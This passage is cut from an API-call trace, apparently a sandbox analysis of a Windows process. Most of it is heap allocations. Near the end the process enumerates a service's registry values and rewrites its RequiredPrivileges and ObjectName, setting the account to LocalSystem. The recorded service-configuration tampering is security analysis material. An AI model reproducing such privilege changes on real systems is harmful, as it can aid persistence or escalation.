Size=0x8) returned 0x252d348 [0193.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0193.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0193.918] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0193.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0193.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0193.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0193.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0193.919] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0193.919] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0193.920] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0193.920] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd90) returned 1 [0193.921] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219de30 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0193.921] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0193.922] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0193.922] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0193.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0193.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0193.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219d3c8 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0193.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4f40 [0193.923] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0193.923] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x140) returned 0x2152850 [0193.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4f40) returned 1 [0193.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x180) returned 0x2152998 [0193.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0193.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x21f4ea8 [0193.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152998) returned 1 [0193.924] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0193.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0193.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0193.924] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0193.924] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0193.924] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0193.924] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0193.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0193.925] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.925] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.925] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0193.925] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.926] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0193.926] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.926] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 